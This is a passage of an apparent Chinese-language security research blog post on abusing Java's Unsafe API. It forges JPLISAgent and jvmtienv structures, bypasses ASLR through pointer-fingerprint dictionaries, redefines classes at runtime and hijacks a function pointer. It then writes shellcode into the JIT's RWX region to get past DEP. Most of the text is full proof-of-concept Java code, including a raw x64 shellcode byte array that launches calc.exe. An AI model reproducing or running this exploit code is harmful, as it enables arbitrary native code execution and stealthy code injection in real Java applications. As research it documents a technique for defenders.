都开启了ASLR,因此jvm模块的基址并不可知。信息泄露获取JVM基址由上文可知,Unsafe提供了堆外内存的分配能力,这里的堆并不是OS层面的堆,而是Java层面的堆,无论是Unsafe分配的堆外地址,还是Java的堆内地址,其都在OS层的堆空间内。经过分析发现,在通过Unsafe分配一个很小的堆外空间时,这个堆外空间的前后内存中,存在大量的指针,而这些指针中,有一些指针指向jvm的地址空间。编写如下代码:long allocateMemory = unsafe.allocateMemory(3);System.out.println("allocateMemory:"+Long.toHexString(allocateMemory)); 输出如下:定位到地址0x2e61a1b67d0:可见前后有很多指针,绿色的那些指针,都指向jvm的地址空间:但是,这部分指针并不可复现,也就是说这些指针相对于allocateMemory的偏移量和指针值都不是固定的,也就是说我们根本无法从这些动态的指针里去推导出一个固定的jvm模块基址。当对一个事物的内部运作机制不了解时,最高效的方法就是利用统计学去解决问题。于是我通过开发辅助程序,多次运行程序,收集大量的前后指针列表,这些指针中有大量是重复出现的,然后根据指针末尾两个字节,做了一个字典,当然只做2个字节的匹配,很容易出错,于是我又根据这些大量指针指向的指针,取末尾两个字节,又做了一个和前面一一对应的字典。这样我们就制作了一个二维字典,并根据指针重复出现的频次排序。POC运行的时候,会以allocateMemory开始,往前往后进行字典匹配,可以准确的确定jvm模块的基址。部分字典结构如下:"'3920':'a5b0':'633920','fe00':'a650':'60fe00','99f0':'cccc':'5199f0','8250':'a650':'638250','d200':'fdd0':'63d200','da70':'b7e0':'67da70'每个条目含有3个元素,第一个为指针末尾2字节,第二个元素为指针指向的指针末尾两个字节,第三个元素为指针与baseAddress的偏移量。基址确定了,jvmtienv的具体地址就确定了。当然拿到了jvm的地址,加上JavaVM的偏移量便可以直接获得JavaVM的地址。开始组装拿到jvm模块的基址后,就万事俱备了,下面准备装配JPLISAgent对象,代码如下: private static long getAgent(long jvmtiAddress) { Unsafe unsafe = getUnsafe(); long agentAddr=unsafe.allocateMemory(0x200); long jvmtiStackAddr=unsafe.allocateMemory(0x200); unsafe.putLong(jvmtiStackAddr,jvmtiAddress); unsafe.putLong(jvmtiStackAddr+8,0x30010100000071eel); unsafe.putLong(jvmtiStackAddr+0x168,0x9090909000000200l); System.out.println("long:"+Long.toHexString(jvmtiStackAddr+0x168)); unsafe.putLong(agentAddr,jvmtiAddress-0x234f0); unsafe.putLong(agentAddr+0x8,jvmtiStackAddr); unsafe.putLong(agentAddr+0x10,agentAddr); unsafe.putLong(agentAddr+0x18,0x00730065006c0000l); //make retransform env unsafe.putLong(agentAddr+0x20,jvmtiStackAddr); unsafe.putLong(agentAddr+0x28,agentAddr); unsafe.putLong(agentAddr+0x30,0x0038002e00310001l); unsafe.putLong(agentAddr+0x38,0); unsafe.putLong(agentAddr+0x40,0); unsafe.putLong(agentAddr+0x48,0); unsafe.putLong(agentAddr+0x50,0); unsafe.putLong(agentAddr+0x58,0x0072007400010001l); unsafe.putLong(agentAddr+0x60,agentAddr+0x68); unsafe.putLong(agentAddr+0x68,0x0041414141414141l); return agentAddr; }入参为上一阶段获取的jvmti的地址,返回值为JPLISAgent的地址。完整POC如下(跨平台):package net.rebeyond; import sun.misc.Unsafe; import java.lang.instrument.ClassDefinition;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.Method;import java.util.*; public class PocWindows { public static void main(String[] args) throws Throwable { Unsafe unsafe = getUnsafe(); Thread.sleep(2000); //System.gc(); //Thread.sleep(2000); long allocateMemory = unsafe.allocateMemory(3); System.out.println("allocateMemory:" + Long.toHexString(allocateMemory)); String patterns = "'3920':'a5b0':'633920','fe00':'a650':'60fe00','99f0':'cccc':'5199f0','8250':'a650':'638250','d200':'fdd0':'63d200','da70':'b7e0':'67da70','8d58':'a650':'638d58','f5c0':'b7e0':'67f5c0','8300':'8348':'148300','4578':'a5b0':'634578','b300':'a650':'63b300','ef98':'07b0':'64ef98','f280':'06e0':'60f280','5820':'4ee0':'5f5820','84d0':'a5b0':'5b84d0','00f0':'5800':'8300f0','1838':'b7e0':'671838','9f60':'b320':'669f60','e860':'08d0':'64e860','f7c0':'a650':'60f7c0','a798':'b7e0':'69a798','6888':'21f0':'5f6888','2920':'b6f0':'642920','45c0':'a5b0':'5d45c0','e1f0':'b5c0':'63e1f0','e128':'b5e0':'63e128','86a0':'4df0':'5b86a0','55a8':'64a0':'6655a8','8b98':'a650':'638b98','8a10':'b730':'648a10','3f10':'':'7b3f10','8a90':'4dc0':'5b8a90','e8e0':'0910':'64e8e0','9700':'7377':'5b9700','f500':'7073':'60f500','6b20':'a5b0':'636b20','b378':'bc50':'63b378','7608':'fb50':'5f7608','5300':'8348':'105300','8f18':'ff20':'638f18','7600':'3db0':'667600','92d8':'6d6d':'5e92d8','8700':'b200':'668700','45b8':'a650':'6645b8','8b00':'82f0':'668b00','1628':'a5b0':'631628','c298':'6765':'7bc298','7a28':'39b0':'5b7a28','3820':'4808':'233820','dd00':'c6a0':'63dd00','0be0':'a5b0':'630be0','aad0':'8e10':'7eaad0','4a98':'b7e0':'674a98','4470':'6100':'824470','6700':'4de0':'696700','a000':'3440':'66a000','2080':'a5b0':'632080','aa20':'64a0':'63aa20','5a00':'c933':'2d5a00','85f8':'4de0':'5b85f8','b440':'b5a0':'63b440','5d28':'1b80':'665d28','efd0':'a5b0':'62efd0','edc8':'a5b0':'62edc8','ad88':'b7e0':'69ad88','9468':'a8b0':'5b9468','af30':'b650':'63af30','e9e0':'0780':'64e9e0','7710':'b2b0':'667710','f528':'e9e0':'62f528','e100':'a5b0':'63e100','5008':'7020':'665008','a4c8':'a5b0':'63a4c8','6dd8':'e7a0':'5c6dd8','7620':'b5a0':'667620','f200':'0ea0':'60f200','d070':'d6c0':'62d070','6270':'a5b0':'5c6270','8c00':'8350':'668c00','4c48':'7010':'664c48','3500':'a5b0':'633500','4f10':'f100':'834f10','b350':'b7e0':'69b350','f5d8':'f280':'60f5d8','bcc0':'9800':'60bcc0','cd00':'3440':'63cd00','8a00':'a1d0':'5b8a00','0218':'6230':'630218','61a0':'b7e0':'6961a0','75f8':'a5b0':'5f75f8','fda8':'a650':'60fda8','b7a0':'b7e0':'69b7a0','f120':'3100':'81f120','ed00':'8b48':'4ed00','f898':'b7e0':'66f898','6838':'2200':'5f6838','e050':'b5d0':'63e050','bb78':'86f0':'60bb78','a540':'b7e0':'67a540','8ab8':'a650':'638ab8','d2b0':'b7f0':'63d2b0','1a50':'a5b0':'631a50','1900':'a650':'661900','6490':'3b00':'836490','6e90':'b7e0':'696e90','9108':'b7e0':'679108','e618':'b170':'63e618','6b50':'6f79':'5f6b50','cdc8':'4e10':'65cdc8','f700':'a1d0':'60f700','f803':'5000':'60f803','ca60':'b7e0':'66ca60','0000':'6a80':'630000','64d0':'a5b0':'6364d0','09d8':'a5b0':'6309d8','dde8':'bb50':'63dde8','d790':'b7e0':'67d790','f398':'0840':'64f398','4370':'a5b0':'634370','ca10':'1c20':'5cca10','9c88':'b7e0':'679c88','d910':'a5b0':'62d910','24a0':'a1d0':'6324a0','a760':'b880':'64a760','90d0':'a880':'5b90d0','6d00':'82f0':'666d00','e6f0':'a640':'63e6f0','00c0':'ac00':'8300c0','f6b0':'b7d0':'63f6b0','1488':'afd0':'641488','ab80':'0088':'7eab80','6d40':'':'776d40','8070':'1c50':'668070','fe88':'a650':'60fe88','7ad0':'a6d0':'667ad0','9100':'a1d0':'699100','8898':'4e00':'5b8898','7c78':'455':'7a7c78','9750':'ea70':'5b9750','0df0':'a5b0':'630df0','7bd8':'a1d0':'637bd8','86b0':'a650':'6386b0','4920':'b7e0':'684920','6db0':'7390':'666db0','abe0':'86e0':'63abe0','e960':'0ac0':'64e960','97a0':'3303':'5197a0','4168':'a5b0':'634168','ee28':'b7e0':'63ee28','20d8':'b7e0':'6720d8','d620':'b7e0':'67d620','0028':'1000':'610028','f6e0':'a650':'60f6e0','a700':'a650':'64a700','4500':'a1d0':'664500','8720':'':'7f8720','8000':'a650':'668000','fe38':'b270':'63fe38','be00':'a5b0':'63be00','f498':'a650':'60f498','d8c0':'b3c0':'63d8c0','9298':'b7e0':'699298','ccd8':'4de0':'65ccd8','7338':'cec0':'5b7338','8d30':'6a40':'5b8d30','4990':'a5b0':'634990','84f8':'b220':'5e84f8','cb80':'bbd0':'63cb80'"; patterns="'bbf8':'7d00':'5fbbf8','68f8':'17e0':'5e68f8','6e28':'e570':'5b6e28','bd48':'8e10':'5fbd48','4620':'9ff0':'5c4620','ca70':'19f0':'5bca70'"; //for windows_java8_301_x64 //patterns="'8b80':'8f10':'ef8b80','9f20':'0880':'f05f20','65e0':'4855':'6f65e0','4f20':'b880':'f05f20','7300':'8f10':'ef7300','aea0':'ddd0':'ef8ea0','1f20':'8880':'f05f20','8140':'8f10':'ef8140','75e0':'4855':'6f65e0','6f20':'d880':'f05f20','adb8':'ddd0':'ef8db8','ff20':'6880':'f05f20','55e0':'4855':'6f65e0','cf20':'3880':'f05f20','05e0':'4855':'6f65e0','92d8':'96d0':'eff2d8','8970':'8f10':'ef8970','d5e0':'4855':'6f65e0','8e70':'4350':'ef6e70','d2d8':'d6d0':'eff2d8','d340':'bf00':'f05340','f340':'df00':'f05340','2f20':'9880':'f05f20','1be0':'d8b0':'f6fbe0','8758':'c2a0':'ef6758','c340':'af00':'f05340','f5e0':'4855':'6f65e0','c5e0':'4855':'6f65e0','b2d8':'b6d0':'eff2d8','02d8':'06d0':'eff2d8','ad88':'ddb0':'ef8d88','62d8':'66d0':'eff2d8','7b20':'3d50':'ef7b20','82d8':'86d0':'eff2d8','0f20':'7880':'f05f20','9720':'8f10':'f69720','7c80':'5850':'ef5c80','25e0':'4855':'6f65e0','32d8':'36d0':'eff2d8','e340':'cf00':'f05340','ec80':'c850':'ef5c80','85e0':'add0':'6f65e0','9410':'c030':'ef9410','5f20':'c880':'f05f20','1340':'ff00':'f05340','b340':'9f00':'f05340','7340':'5f00':'f05340','35e0':'4855':'6f65e0','3f20':'a880':'f05f20','8340':'6f00':'f05340','4340':'2f00':'f05340','0340':'ef00':'f05340','22d8':'26d0':'eff2d8','e5e0':'4855':'6f65e0','95e0':'4855':'6f65e0','19d0':'d830':'f6f9d0','52d8':'56d0':'eff2d8','c420':'b810':'efc420','b5e0':'ddd0':'ef95e0','c2d8':'c6d0':'eff2d8','5340':'3f00':'f05340','df20':'4880':'f05f20','15e0':'4855':'6f65e0','a2d8':'a6d0':'eff2d8','9340':'7f00':'f05340','8070':'add0':'ef9070','f2d8':'f6d0':'eff2d8','72d8':'76d0':'eff2d8','6340':'4f00':'f05340','2340':'0f00':'f05340','3340':'1f00':'f05340','b070':'ddd0':'ef9070','45e0':'4855':'6f65e0','8d20':'add0':'ef9d20','6180':'8d90':'ef6180','8f20':'f880':'f05f20','8c80':'6850':'ef5c80','a5e0':'4855':'6f65e0','ef20':'5880':'f05f20','8410':'b030':'ef9410','b410':'e030':'ef9410','bf20':'2880':'f05f20','e2d8':'e6d0':'eff2d8','bd20':'ddd0':'ef9d20','12d8':'16d0':'eff2d8','9928':'8f10':'f69928','9e28':'8f10':'f69e28','4c80':'2850':'ef5c80','7508':'8f10':'ef7508','1df0':'d940':'f6fdf0'"; //for linux_java8_301_x64 long jvmtiOffset=0x79a220; //for java_8_271_x64 jvmtiOffset=0x78a280; //for windows_java_8_301_x64 //jvmtiOffset=0xf9c520; //for linux_java_8_301_x64 List<Map<String, String>> patternList = new ArrayList<Map<String, String>>(); for (String pair : patterns.split(",")) { String offset = pair.split(":")[0].replace("'", "").trim(); String value = pair.split(":")[1].replace("'", "").trim(); String delta = pair.split(":")[2].replace("'", "").trim(); Map pattern = new HashMap<String, String>(); pattern.put("offset", offset); pattern.put("value", value); pattern.put("delta", delta); patternList.add(pattern); } int offset = 8; int targetHexLength=8; //on linux,change it to 12. for (int j = 0; j < 0x2000; j++) //down search { for (int x : new int[]{-1, 1}) { long target = unsafe.getAddress(allocateMemory + j * x * offset); String targetHex = Long.toHexString(target); if (target % 8 > 0 || targetHex.length() != targetHexLength) { continue; } if (targetHex.startsWith("a") || targetHex.startsWith("b") || targetHex.startsWith("c") || targetHex.startsWith("d") || targetHex.startsWith("e") || targetHex.startsWith("f") || targetHex.endsWith("00000")) { continue; } System.out.println("[-]start get " + Long.toHexString(allocateMemory + j * x * offset) + ",at:" + Long.toHexString(target) + ",j is:" + j); for (Map<String, String> patternMap : patternList) { targetHex = Long.toHexString(target); if (targetHex.endsWith(patternMap.get("offset"))) { String targetValueHex = Long.toHexString(unsafe.getAddress(target)); System.out.println("[!]bingo."); if (targetValueHex.endsWith(patternMap.get("value"))) { System.out.println("i found agent env:start get " + Long.toHexString(target) + ",at :" + Long.toHexString(unsafe.getAddress(target)) + ",j is:" + j); System.out.println("jvm base is " + Long.toHexString(target - Integer.parseInt(patternMap.get("delta"), 16))); System.out.println("jvmti object addr is " + Long.toHexString(target - Integer.parseInt(patternMap.get("delta"), 16) + jvmtiOffset)); //long jvmenvAddress=target-Integer.parseInt(patternMap.get("delta"),16)+0x776d30; long jvmtiAddress = target - Integer.parseInt(patternMap.get("delta"), 16) + jvmtiOffset; long agentAddress = getAgent(jvmtiAddress); System.out.println("agentAddress:" + Long.toHexString(agentAddress)); Bird bird = new Bird(); bird.sayHello(); doAgent(agentAddress); //doAgent(Long.parseLong(address)); bird.sayHello(); return; } } } } } } private static long getAgent(long jvmtiAddress) { Unsafe unsafe = getUnsafe(); long agentAddr = unsafe.allocateMemory(0x200); long jvmtiStackAddr = unsafe.allocateMemory(0x200); unsafe.putLong(jvmtiStackAddr, jvmtiAddress); unsafe.putLong(jvmtiStackAddr + 8, 0x30010100000071eel); unsafe.putLong(jvmtiStackAddr + 0x168, 0x9090909000000200l); System.out.println("long:" + Long.toHexString(jvmtiStackAddr + 0x168)); unsafe.putLong(agentAddr, jvmtiAddress - 0x234f0); unsafe.putLong(agentAddr + 0x8, jvmtiStackAddr); unsafe.putLong(agentAddr + 0x10, agentAddr); unsafe.putLong(agentAddr + 0x18, 0x00730065006c0000l); //make retransform env unsafe.putLong(agentAddr + 0x20, jvmtiStackAddr); unsafe.putLong(agentAddr + 0x28, agentAddr); unsafe.putLong(agentAddr + 0x30, 0x0038002e00310001l); unsafe.putLong(agentAddr + 0x38, 0); unsafe.putLong(agentAddr + 0x40, 0); unsafe.putLong(agentAddr + 0x48, 0); unsafe.putLong(agentAddr + 0x50, 0); unsafe.putLong(agentAddr + 0x58, 0x0072007400010001l); unsafe.putLong(agentAddr + 0x60, agentAddr + 0x68); unsafe.putLong(agentAddr + 0x68, 0x0041414141414141l); return agentAddr; } private static void doAgent(long address) throws Exception { Class cls = Class.forName("sun.instrument.InstrumentationImpl"); for (int i = 0; i < cls.getDeclaredConstructors().length; i++) { Constructor constructor = cls.getDeclaredConstructors()[i]; constructor.setAccessible(true); Object obj = constructor.newInstance(address, true, true); for (Field f : cls.getDeclaredFields()) { f.setAccessible(true); if (f.getName().equals("mEnvironmentSupportsRedefineClasses")) { //System.out.println("mEnvironmentSupportsRedefineClasses:" + f.get(obj)); } } for (Method m : cls.getMethods()) { if (m.getName().equals("redefineClasses")) { //System.out.println("redefineClasses:" + m); String newBirdClassStr = "yv66vgAAADIAHwoABgARCQASABMIABQKABUAFgcAFwcAGAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQATTG5ldC9yZWJleW9uZC9CaXJkOwEACHNheUhlbGxvAQAKU291cmNlRmlsZQEACUJpcmQuamF2YQwABwAIBwAZDAAaABsBAAhjaGFuZ2VkIQcAHAwAHQAeAQARbmV0L3JlYmV5b25kL0JpcmQBABBqYXZhL2xhbmcvT2JqZWN0AQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWACEABQAGAAAAAAACAAEABwAIAAEACQAAAC8AAQABAAAABSq3AAGxAAAAAgAKAAAABgABAAAAAwALAAAADAABAAAABQAMAA0AAAABAA4ACAABAAkAAAA3AAIAAQAAAAmyAAISA7YABLEAAAACAAoAAAAKAAIAAAAGAAgABwALAAAADAABAAAACQAMAA0AAAABAA8AAAACABA="; Bird bird = new Bird(); ClassDefinition classDefinition = new ClassDefinition( bird.getClass(), Base64.getDecoder().decode(newBirdClassStr)); ClassDefinition[] classDefinitions = new ClassDefinition[]{classDefinition}; try { //Thread.sleep(5000); m.invoke(obj, new Object[]{classDefinitions}); } catch (Exception e) { e.printStackTrace(); } } } //System.out.println("instrument obj:" + obj); //System.out.println("constr:" + cls.getDeclaredConstructors()[i]); } } private static Unsafe getUnsafe() { Unsafe unsafe = null; try { Field field = Unsafe.class.getDeclaredField("theUnsafe"); field.setAccessible(true); unsafe = (Unsafe) field.get(null); } catch (Exception e) { throw new AssertionError(e); } return unsafe; } }Bird.javapackage net.rebeyond; public class Bird { public void sayHello() { System.out.println("hello!"); }}编译,运行:上述环境是win10+Jdk1.8.0_301_x64,注释中内置了linux+jdk1.8.0_301_x64和win10+Jdk1.8.0_271_x64指纹,如果是其他OS或者JDK版本,指纹库需要对应更新。可以看到,我们成功通过纯Java代码实现了动态修改类字节码。按照惯例,我提出一种新的技术理论的时候,一般会直接给出一个下载即可用的exp,但是现在为了合规起见,此处只给出demo,不再提供完整的利用工具。Java跨平台任意Native代码执行确定入口上文中,我们介绍了在Windows平台下巧妙利用instrument的不恰当实现来进行进程注入的技术,当注入的目标进行为-1时,可以往当前Java进程注入shellcode,实现不依赖JNI执行任意Native代码。但是这个方法仅适用于Windows平台。只适用于Windows平台的技术是不完整的:)上一小节我们在伪造JPLISAgent对象的时候,留意到redefineClasses函数里面有这种代码:allocate函数的第一个参数是jvmtienv指针,我们跟进allocate函数:void *allocate(jvmtiEnv * jvmtienv, size_t bytecount) { void * resultBuffer = NULL; jvmtiError error = JVMTI_ERROR_NONE; error = (*jvmtienv)->Allocate(jvmtienv, bytecount, (unsigned char**) &resultBuffer); /* may be called from any phase */ jplis_assert(error == JVMTI_ERROR_NONE); if ( error != JVMTI_ERROR_NONE ) { resultBuffer = NULL; } return resultBuffer;}可以看到最终是调用的jvmtienv对象的一个成员函数,先看一下真实的jvmtienv是什么样子:对象里是很多函数指针,看到这里,如果你经常分析二进制漏洞的话,可能会马上想到这里jvmtienv是我们完全可控的,我们只要在伪造的jvmtienv对象指定的偏移位置覆盖这个函数指针即可实现任意代码执行。构造如下POC:先动态调试看一下我们布局的payload:0x219d1b1a810为我们通过unsafe.allocateMemory分配内存的首地址,我们从这里开始布局JPLISAgent对象,0x219d1b1a818处的值0x219d1b1a820是指向jvmtienv的指针,跟进0x219d1b1a820,其值为指向真实的jvmtienv对象的指针,这里我们把他指向了他自己0x219d1b1a820,接下来我们就可以在0x219d1b1a820处布置最终的jvmtienv对象了。根据动态调试得知allocate函数指针在jvmtienv对象的偏移量为0x168,我们只要覆盖0x219d1b1a820+0x168(0x219d1b1a988)的值为我们shellcode的地址即可将RIP引入shellcode。此处我们把0x219d1b1a988处的值设置为0x219d1b1a990,紧跟在0x219d1b1a988的后面,然后往0x219d1b1a990写入shellcode。编译,运行:进程crash了,报的异常是意料之中,仔细看下报的异常:#EXCEPTION_ACCESS_VIOLATION (0xc0000005) at pc=0x00000219d1b1a990, pid=24840, tid=0x0000000000005bfc内存访问异常,但是pc的值是0x00000219d1b1a990,这就是我们shellcode的首地址。说明我们的payload布置是正确的,只不过系统开启了NX(DEP),导致我们没办法去执行shellcode,下图是异常的现场,可见RIP已经到了shellcode:绕过NX(DEP)上文的POC中我们已经可以劫持RIP,但是我们的shellcode部署在堆上,不方便通过ROP关闭DEP。那能不能找一块rwx的内存呢?熟悉浏览器漏洞挖掘的朋友都知道JIT区域天生RWE,而Java也是有JIT特性的,通过分析进程内存布局,可以看到Java进程确实也存在这样一个区域,如下图:我们只要通过unsafe把shellcode写入这个区域即可。但是,还有ASLR,需要绕过ASLR才能获取到这块JIT区域。绕过ASLR在前面我们已经提到了一种通过匹配指针指纹绕过ASLR的方法,这个方法在这里同样适用。不过,这里我想换一种方法,因为通过指纹匹配的方式,需要针对不同的Java版本做适配,还是比较麻烦的。这里采用了搜索内存的方法,如下:package net.rebeyond; import sun.misc.Unsafe; import java.lang.instrument.ClassDefinition;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.Method;import java.util.HashMap;import java.util.Map; public class PocForRCE { public static void main(String [] args) throws Throwable { byte buf[] = new byte[] { (byte) 0x41, (byte) 0x48, (byte) 0x83, (byte) 0xe4, (byte) 0xf0, (byte) 0xe8, (byte) 0xc0, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x41, (byte) 0x51, (byte) 0x41, (byte) 0x50, (byte) 0x52, (byte) 0x51, (byte) 0x56, (byte) 0x48, (byte) 0x31, (byte) 0xd2, (byte) 0x65, (byte) 0x48, (byte) 0x8b, (byte) 0x52, (byte) 0x60, (byte) 0x48, (byte) 0x8b, (byte) 0x52, (byte) 0x18, (byte) 0x48, (byte) 0x8b, (byte) 0x52, (byte) 0x20, (byte) 0x48, (byte) 0x8b, (byte) 0x72, (byte) 0x50, (byte) 0x48, (byte) 0x0f, (byte) 0xb7, (byte) 0x4a, (byte) 0x4a, (byte) 0x4d, (byte) 0x31, (byte) 0xc9, (byte) 0x48, (byte) 0x31, (byte) 0xc0, (byte) 0xac, (byte) 0x3c, (byte) 0x61, (byte) 0x7c, (byte) 0x02, (byte) 0x2c, (byte) 0x20, (byte) 0x41, (byte) 0xc1, (byte) 0xc9, (byte) 0x0d, (byte) 0x41, (byte) 0x01, (byte) 0xc1, (byte) 0xe2, (byte) 0xed, (byte) 0x52, (byte) 0x41, (byte) 0x51, (byte) 0x48, (byte) 0x8b, (byte) 0x52, (byte) 0x20, (byte) 0x8b, (byte) 0x42, (byte) 0x3c, (byte) 0x48, (byte) 0x01, (byte) 0xd0, (byte) 0x8b, (byte) 0x80, (byte) 0x88, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x48, (byte) 0x85, (byte) 0xc0, (byte) 0x74, (byte) 0x67, (byte) 0x48, (byte) 0x01, (byte) 0xd0, (byte) 0x50, (byte) 0x8b, (byte) 0x48, (byte) 0x18, (byte) 0x44, (byte) 0x8b, (byte) 0x40, (byte) 0x20, (byte) 0x49, (byte) 0x01, (byte) 0xd0, (byte) 0xe3, (byte) 0x56, (byte) 0x48, (byte) 0xff, (byte) 0xc9, (byte) 0x41, (byte) 0x8b, (byte) 0x34, (byte) 0x88, (byte) 0x48, (byte) 0x01, (byte) 0xd6, (byte) 0x4d, (byte) 0x31, (byte) 0xc9, (byte) 0x48, (byte) 0x31, (byte) 0xc0, (byte) 0xac, (byte) 0x41, (byte) 0xc1, (byte) 0xc9, (byte) 0x0d, (byte) 0x41, (byte) 0x01, (byte) 0xc1, (byte) 0x38, (byte) 0xe0, (byte) 0x75, (byte) 0xf1, (byte) 0x4c, (byte) 0x03, (byte) 0x4c, (byte) 0x24, (byte) 0x08, (byte) 0x45, (byte) 0x39, (byte) 0xd1, (byte) 0x75, (byte) 0xd8, (byte) 0x58, (byte) 0x44, (byte) 0x8b, (byte) 0x40, (byte) 0x24, (byte) 0x49, (byte) 0x01, (byte) 0xd0, (byte) 0x66, (byte) 0x41, (byte) 0x8b, (byte) 0x0c, (byte) 0x48, (byte) 0x44, (byte) 0x8b, (byte) 0x40, (byte) 0x1c, (byte) 0x49, (byte) 0x01, (byte) 0xd0, (byte) 0x41, (byte) 0x8b, (byte) 0x04, (byte) 0x88, (byte) 0x48, (byte) 0x01, (byte) 0xd0, (byte) 0x41, (byte) 0x58, (byte) 0x41, (byte) 0x58, (byte) 0x5e, (byte) 0x59, (byte) 0x5a, (byte) 0x41, (byte) 0x58, (byte) 0x41, (byte) 0x59, (byte) 0x41, (byte) 0x5a, (byte) 0x48, (byte) 0x83, (byte) 0xec, (byte) 0x20, (byte) 0x41, (byte) 0x52, (byte) 0xff, (byte) 0xe0, (byte) 0x58, (byte) 0x41, (byte) 0x59, (byte) 0x5a, (byte) 0x48, (byte) 0x8b, (byte) 0x12, (byte) 0xe9, (byte) 0x57, (byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0x5d, (byte) 0x48, (byte) 0xba, (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x48, (byte) 0x8d, (byte) 0x8d, (byte) 0x01, (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x41, (byte) 0xba, (byte) 0x31, (byte) 0x8b, (byte) 0x6f, (byte) 0x87, (byte) 0xff, (byte) 0xd5, (byte) 0xbb, (byte) 0xf0, (byte) 0xb5, (byte) 0xa2, (byte) 0x56, (byte) 0x41, (byte) 0xba, (byte) 0xa6, (byte) 0x95, (byte) 0xbd, (byte) 0x9d, (byte) 0xff, (byte) 0xd5, (byte) 0x48, (byte) 0x83, (byte) 0xc4, (byte) 0x28, (byte) 0x3c, (byte) 0x06, (byte) 0x7c, (byte) 0x0a, (byte) 0x80, (byte) 0xfb, (byte) 0xe0, (byte) 0x75, (byte) 0x05, (byte) 0xbb, (byte) 0x47, (byte) 0x13, (byte) 0x72, (byte) 0x6f, (byte) 0x6a, (byte) 0x00, (byte) 0x59, (byte) 0x41, (byte) 0x89, (byte) 0xda, (byte) 0xff, (byte) 0xd5, (byte) 0x63, (byte) 0x61, (byte) 0x6c, (byte) 0x63, (byte) 0x2e, (byte) 0x65, (byte) 0x78, (byte) 0x65, (byte) 0x00 }; Unsafe unsafe = null; try { Field field = sun.misc.Unsafe.class.getDeclaredField("theUnsafe"); field.setAccessible(true); unsafe = (sun.misc.Unsafe) field.get(null); } catch (Exception e) { throw new AssertionError(e); } long size = buf.length+0x178; // a long is 64 bits (http://docs.oracle.com/javase/tutorial/java/nutsandbolts/datatypes.html) long allocateMemory = unsafe.allocateMemory(size); System.out.println("allocateMemory:"+Long.toHexString(allocateMemory)); Map map=new HashMap(); map.put("X","y"); //unsafe.putObject(map,allocateMemory+0x10,ints); //unsafe.putByte(allocateMemory,); PocForRCE poc=new PocForRCE(); for (int i=0;i<10000;i++) { poc.b(33); } Thread.sleep(2000); for (int k=0;k<10000;k++) { long tmp=unsafe.allocateMemory(0x4000); //unsafe.putLong(tmp+0x3900,tmp); //System.out.println("alloce:"+Long.toHexString(tmp)); } long shellcodeBed = 0; int offset=4; for (int j=-0x1000;j<0x1000;j++) //down search { long target=unsafe.getAddress(allocateMemory+j*offset); System.out.println("start get "+Long.toHexString(allocateMemory+j*offset)+",adress:"+Long.toHexString(target)+",now j is :"+j); if (target%8>0) { continue; } if (target>(allocateMemory&0xffffffff00000000l)&&target<(allocateMemory|0xffffffl)) { if ((target&0xffffffffff000000l)==(allocateMemory&0xffffffffff000000l)) { continue; } if (Long.toHexString(target).indexOf("000000")>0||Long.toHexString(target).endsWith("bebeb0")||Long.toHexString(target).endsWith("abebeb")) { System.out.println("maybe error address,skip "+Long.toHexString(target)); continue; } System.out.println("BYTE:"+unsafe.getByte(target)); //System.out.println("get address:"+Long.toHexString(target)+",at :"+Long.toHexString(allocateMemory-j)); if (unsafe.getByte(target)==0X55||unsafe.getByte(target)==0XE8||unsafe.getByte(target)==(byte)0xA0||unsafe.getByte(target)==0x48||unsafe.getByte(target)==(byte)0x66) { System.out.println("get address:"+Long.toHexString(target)+",at :"+Long.toHexString(allocateMemory-j*offset)+",BYTE:"+Long.toHexString(unsafe.getByte(target))); shellcodeBed=target; break; } } } if (shellcodeBed==0) { for (int j=-0x100;j<0x800;j++) //down search { long target=unsafe.getAddress(allocateMemory+j*offset); System.out.println("start get "+Long.toHexString(allocateMemory+j*offset)+",adress:"+Long.toHexString(target)+",now j is :"+j); if (target%8>0) { continue; } if (target>(allocateMemory&0xffffffff00000000l)&&target<(allocateMemory|0xffffffffl)) { if ((target&0xffffffffff000000l)==(allocateMemory&0xffffffffff000000l)) { continue; } if (Long.toHexString(target).indexOf("0000000")>0||Long.toHexString(target).endsWith("bebeb0")||Long.toHexString(target).endsWith("abebeb")) { System.out.println("maybe error address,skip "+Long.toHexString(target)); continue; } System.out.println("BYTE:"+unsafe.getByte(target)); //System.out.println("get address:"+Long.toHexString(target)+",at :"+Long.toHexString(allocateMemory-j)); if (unsafe.getByte(target)==0X55||unsafe.getByte(target)==0XE8||unsafe.getByte(target)==(byte)0xA0||unsafe.getByte(target)==0x48) { System.out.println("get bigger cache address:"+Long.toHexString(target)+",at :"+Long.toHexString(allocateMemory-j*offset)+",BYTE:"+Long.toHexString(unsafe.getByte(target))); shellcodeBed=target; break; } } } } System.out.println("find address end,address is "+Long.toHexString(shellcodeBed)+" mod 8 is:"+shellcodeBed%8); String address=""; allocateMemory=shellcodeBed; address=allocateMemory+""; Class cls=Class.forName("sun.instrument.InstrumentationImpl"); Constructor constructor=cls.getDeclaredConstructors()[0]; constructor.setAccessible(true); Object obj=constructor.newInstance(Long.parseLong(address),true,true); Method redefineMethod=cls.getMethod("redefineClasses",new Class[]{ClassDefinition[].class}); ClassDefinition classDefinition=new ClassDefinition( Class.class, new byte[]{}); ClassDefinition[] classDefinitions=new ClassDefinition[]{classDefinition}; try { unsafe.putLong(allocateMemory+8,allocateMemory+0x10); //set **jvmtienv point to it's next memory region unsafe.putLong(allocateMemory+8+8,allocateMemory+0x10); //set *jvmtienv point to itself unsafe.putLong(allocateMemory+0x10+0x168,allocateMemory+0x10+0x168+8); //overwrite allocate function pointer to allocateMemory+0x10+0x168+8 for (int k=0;k<buf.length;k++) { 